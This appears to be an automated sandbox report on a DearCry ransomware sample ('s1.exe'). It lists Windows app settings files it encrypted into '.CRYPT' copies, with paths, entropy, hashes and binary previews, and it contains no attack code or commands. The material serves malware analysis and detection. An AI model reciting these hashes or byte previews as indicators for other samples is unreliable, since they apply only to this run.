                                                              Preview: DEARCRY!....$.[.y...@..$...4.......,J....i...k.8]..*.Z..J>.c.......dY..........-..#.H..T%.(.........xd.m.......>..p.%..SX_.......n.&....*%=....d....Ln.C.]U...@......7D..A.H.P+L....0Qd..;.+...b....8.}"d.).i.*^.=a..|.[..B..y.B{~.mq..[...X.g.W*.2...<'......... ..........bE@..N*o.Z..?I.....qO.N..x.........:.&...?....!.....v@...]...&."j.a5.?..F.MF.A....\.#p............'.+I...q.C..d.M.........=w., ....,.@.%A..*....f.)G0.[.4..:"@.....jU+]..&D+z....0B.)....#9A..2..n12.69......F.F0v....L.$.4yKa.r.yO.`e....9..u9......Y.*.|...%.9.Q@...........3Ka..p.i.sj.m.~.M..%8C.A.@N`3....g.i..U..Ce>.....).....N...'E...>.?../O..l...s.O.!..j0>.V....q..A...!..P.X.d.s.....,..F|i....z.R.s.o...+<.+U=X....pV. ....9w5....r...i..E..1%.dO9d9..).......Cm..o.....?..p......7.`.N.......ELo.V.../..!2.|0..H..`G@2..X...t}H..TJ .a9..]*.!....lDI.7.....d.zH..X.4.....L^.<St..~E......7..z...".3.;..a9)..F.,^.P...?....-...I..{.V..U..|.\5..3=aCc...P.6vk.m.....P....p...N.....-iA.....O..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.987749732159695
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:048699163028694B919A49AEDA6EBFB5
                                                              SHA1:1931502B22FFC3321A3BBE711012B918CF6B3274
                                                              SHA-256:851284D229931CFBF48CC0E15CF690F784350AA789071C51000B4E92DCE39817
                                                              SHA-512:E7E7B0462A0B9E0A30CBDFE291FA03D95198FBD51104BFD091A157F62B90B54DEED1FEC0A60E9A0E7F5BBED0896527A2B130C7C7980914A68704E0C096156428
                                                              Malicious:false
                                                              Preview: DEARCRY!....`.2.....O....A.I7....V2....E.....C.G..\$).......5...NFl..8r'...2....'/.c...RB.}..jm.."..f.....mz%|.Lz......n...\....B.Z....4V.......|.....$..:..G..m......pw0...h1...t7..b..5.R.......M..Q..'..t`..%.8m.../..r..Q.s%M._..q.|C......I..".......JO...... ......j....;Q...;."..NyX..... .jf.....l....j...T....ndi.g...:..N-P...A..oi..o..(.B......^.YjT:..J.Dy.-..TR..:~.x....u_.h..t..e...T.H.......t....T$.e..`fs.w.V...O....p..Ry.u....}...F..y...~.X-G('q.F..oUu-........UZ....+....%.....~#=.R.E.\.&O=&....|^..R.n.6.X;...J...&..|P\.E.nD=...W...QKWg=.Q._...U.C.a.y..f....SS.;..=.X..`.5.....<......l),f..W.W.]N.<{.....Z...4.Ak.]H.6.....U.w.i...Q..T...9....U!..I.=G~...#..j....vm~.P....v....,I7<{7.|......I.x.<.T~....4...v....m.z....L7..9......9Zf".,......W7.9.Q.}.1.1...hq.....)....).[...BYUa.2fL._.`..*Y..[8.n.K.j...sVY.....e.-c.....w.g.g...u...L..'...=H..G...........EO...s..^.b...&`1......n8.%jL..B..i.n.L~.....dSEi...,,\G..b.._Hr7.;.(y.".
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.976925847097702
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1D8114D748D22D8973CF01771D2AB8AA
                                                              SHA1:C89F5830FFE22333FDE6D5A96D6D0F91B4DB318E
                                                              SHA-256:E044BE68577DBFC4A95670E9D8F9E457A15B7D47B92289F66086F81BE0AED245
                                                              SHA-512:D3E3671E256E5F718E7BFD80D380A54030C5755F7CAC2D2C3208E7EA037B72301AB768E23A5DC72C1AFCF8C4518D1BE4CAA10B0F5CF93D4D76B2183F67CCF48A
                                                              Malicious:false
                                                              Preview: DEARCRY!....o.u|/3..%..h.i....=..W...."~..o.%.p.QBs.>.y~.j..4...L.j5...~..vq...d...a..."@.....|j..m.Z....Ul.".)...1-..|`......g...6......hr.. ..*.|:.?"..V.>.9].X.....U........=L.^...-{;:.;T...-... .T..7. ...O..........`..PJ.e.%.uo2..>.g.H<.n..G.L.s........ ......{<G&...e..*|...hB\8......<|?....U.7.)..@Ugo.n..=......A&\.a.....w."H...2QqG.ux.. ..D=....U......RI...a(a....b.....N......+T..;..............>..BI...br...#.xG}y.k..b.Y.a..3...1.......#...P.../.T....E..P.._....n>.v..*..7.v....H.p&....X...h.P...l...T..f.[...S.3..z..&..t.\..z....%..k.A\%......B.l+>d..k.h..jsz/..\W...#.$W...@...G.b...ovidH..A.N...h.....&.g&.........Z.........`...^.......+C/{..C....S".yJ.G..+.>.0.X..F.....wN...V.gL...$y.....7...h.K..c.;t..L.>.'.....Y....)A..m...<.A...V.k:.zTl4....|..>.....:.&O.........................dOU...3.El..z2.2......|.BuL...s..RB..S.u.%q{....~..iG.s.XF.9...4.8b%..r..0....._.n.P0.~...v.....@....4...EQ.)IO..a.@}d......^.q..v....5K$d_D.y.I.....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978184528535835
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0695972F7CECD438B3A5E1E07DF2868E
                                                              SHA1:9600C7713E0B578ED3916852DF2C881338A80D39
                                                              SHA-256:2228A53DDDC3233830F20C10514F08F96B4DA2F088F58117486CA427831A9EAC
                                                              SHA-512:52D767B86608E0461126165136D15BEB6B84AD71734529B2358991E15B8CF79A7D9F75CFEB3CBFA41798CBBE1196EA395D50694AA84A2603975FF119707FEA6E
                                                              Malicious:false
                                                              Preview: DEARCRY!.....C.....,._......foa.3.l_..!h....X....o..j.N.+..w...x(..'......HJ.....q.o.{.~.=;....=BN..b.v8..S|..Xd%y....B_.`N.W.....P.....}w..%......./..h.'c.O.}c3...U...........m.I0}..0...V~.{...........Ym.@-..-..c.3l>..q.>Q..... .n.d.D.q..s"?L...8..r.`5B..S...^..... ......[..WF.d....,.......z...n....2.(...S..X...Q.#..6...G$..v..w=p..j..]..=.%E@...w2#N.n.M...F=..P.d.w?_ `..k.........f..?'....x.-hZqY..f..".....`..3..:..x.I........w'g.j..W..@D.*...R..}[....J.NXiz.....r..9...c..XR.B...z....n.~.y......-A..\.v.Dka...\...R.a).cm..z.2.b{w..'.i..7...@w.BJ.;..q5...b..............(...m.4.xzF.~..t|..^......9..<..@rb.yB".W......VZ........;....S.z.3,.Pog\.......B_9|.8R...F..U.3_.8..H....(G5.C..t'fr..h..].0$..&.fv.![..c.k6<l.._;..$..._DBf....+.O............z..!..U......g}.<."..2%.u...l.e.t...Y......U@..T.G^.?LX.b..vs.&\p(...........&Y,...b%<RA..KX..u...ECV.c...p.M.`L<..;..vX.)...u.5..TtF.MJ.m.]..0=+I.5.8(.............S.+..{+e.S'Z.J.. X.._.......2.0k`..8.P...@.z.9mt
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.PPIProjection_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.PPIProjection_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978493836838743
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EBD828C4D3701A33886D515FB5D5D82F
                                                              SHA1:3C1403584ABE036BD42EDAB0395AF4F6DDD069DD
                                                              SHA-256:EA7B09C0655C4302E7B8944B0F845CAEC34C8DAA278C86E35A430AE3BE9A3252
                                                              SHA-512:C9BC79CCB16351F7875CF53B93434E19A9F2E1BF59B86339843A3A1EDA3DD90B6301FF0F740CF6D67EBCD5B97CC2E84BD62D79DE8A3922718F69C126B49D7257
                                                              Malicious:false
                                                              Preview: DEARCRY!....$f&...n.O.j.*..Vm:....&8...D..bx5R..7......0.'.x7w.N.)...].+4....r.f...P.@.W.i]...9.S.,.l..d...1H"$.D.j4.]=._.n<.0..v.R...b.S.{.JZ[n..P..(=....I....{.RA.(H.6..nu.[..._WlC.........e....#OD.f.....X..8{H..........S:...x+h1.@'8._..T..*Q.b&.....`......... .........haO.w...,k...Qj........v....w a+.u...EHc|/.{S..-.Q...+.4.?..Xp..3a...@...R`.I~QD...T.......jH.F.....9Z).......J.RKv|...h.*..(.t).K..6.?q.I7.$B.....).:9t>...3V].$....uk.n%..._:...+|.o..ci,3.....ao...v.Rv[...Q...Ity../2..NV.1.v`..v.C..f.hH!`.O....Ot..U....-...i......ZX..B..},Z.>.......@.....s7L...].ZH.[<l.x..D.Y.'.l.sl..V..M:.....i=.._5....ar..44V./~s.z.l.._....NV.KK...I..B.?.._....%...X.4.j@....z."...-...iz!...b..j.k..3..}i.Q..<..e.c....d..h..L./&IW..+..RG^i......\BQc.H...k.+..b.......J..nC...d.....&?.t#..D>...~.Ei...=..."....B...`..7.....?..#...Yc.W@.e...u1..Z...N...r..7x..:B...f....|..e|.^.>...s...ZT...,.....i[.'..j...c.......j&.m..!..x i*....Z....L.3#..@....vYx...1..E...0.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.972467779878088
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DE86693C84B1372876ECCB354C66FBA5
                                                              SHA1:A7DCFFFE7954FE6AC64E9536BF2E08EBB3FFF49E
                                                              SHA-256:8C1AA01E101325271E2E6AAE921BC0050A646CA03A4F99AE0A361EB4A400C063
                                                              SHA-512:C90CDA80766D6D21EFD06F89388C947A32962CFE5F75CD995375295D0FEC1A28AA90532BDFC2C29E7EFFF9A02BF75659A2219D5D2D5B41347206591350311093
                                                              Malicious:false
                                                              Preview: DEARCRY!.....y........N.\L|...Mn...a."....q.a.......>.^..(.:m.^..g.B.!.R.Dl.7.<N.r*..n..I-..M....@w.....Y.~...<....Z...H)...{....e.e.o9...@..SG..._ V}Gf..r.3h.z...!\/.....G....#....5t+....o_..-i.t..D..e.@.C..m...i..T:1....mA......O.I.Q&W&........W./....K........ ......C&.%........5.V.o...*......X..H.j.T#....Sh.Y.....{.._.....5m.d%.wd.....\.U1.H.Y.&..xN...X2.J...?.}..e. ....m.,7..9M...]9^p.Z(...y).._[........-..*Gtq.....2C.x.U..!a>M.a..-. ....z:....H.,b.^.s.tGq.._0=......q...m..../ .......T...[E..bS......".......N\U.. ..?.......+..O&..K..}.i.OU.....kM}.R.j\}M.3j.H.i6...L..!h\..JEl.n.r.;4j.qCuZ...:......0t.XV`.^.\....C!'.,...W...n..bg.`..ZJeN.zfP..;.n._.....>l.p.......CM......[.b..p.%.....vN._(n....E)S..2.&P..`.0.....&u.J..\.....DR....i3..2..Q....W.O..6.....:4..w..N.Rh....h.^....\..|.rwQS..d.].....7.1.(..`.U....u....L.D..N..(..N...^E\...\QU.....O.@=b/.d.?qt.?i.q..`Oo.2[P.h)./...?U...<b....C.....=$.....6..|y."I....x...^c..y.y~I.../.......b/
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Print3D_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Print3D_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978509903005201
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:718A7474B348867548DD7173F6BE8E05
                                                              SHA1:229B2D1C7BA6CD2474C7C501ADDC2E60CA117DBD
                                                              SHA-256:F7B513830C5EBCC613929D6892ECFED8105C4916281A801C3EBF60A5C7A645DD
                                                              SHA-512:64E9C1430D8B842C6006D30BF8A9B9C1D55D59E3F0F39CC746610653ED255C35645398A2413F2F62A2207227494E712B4E82296AC750A9257DD896362D8AABD5
                                                              Malicious:false
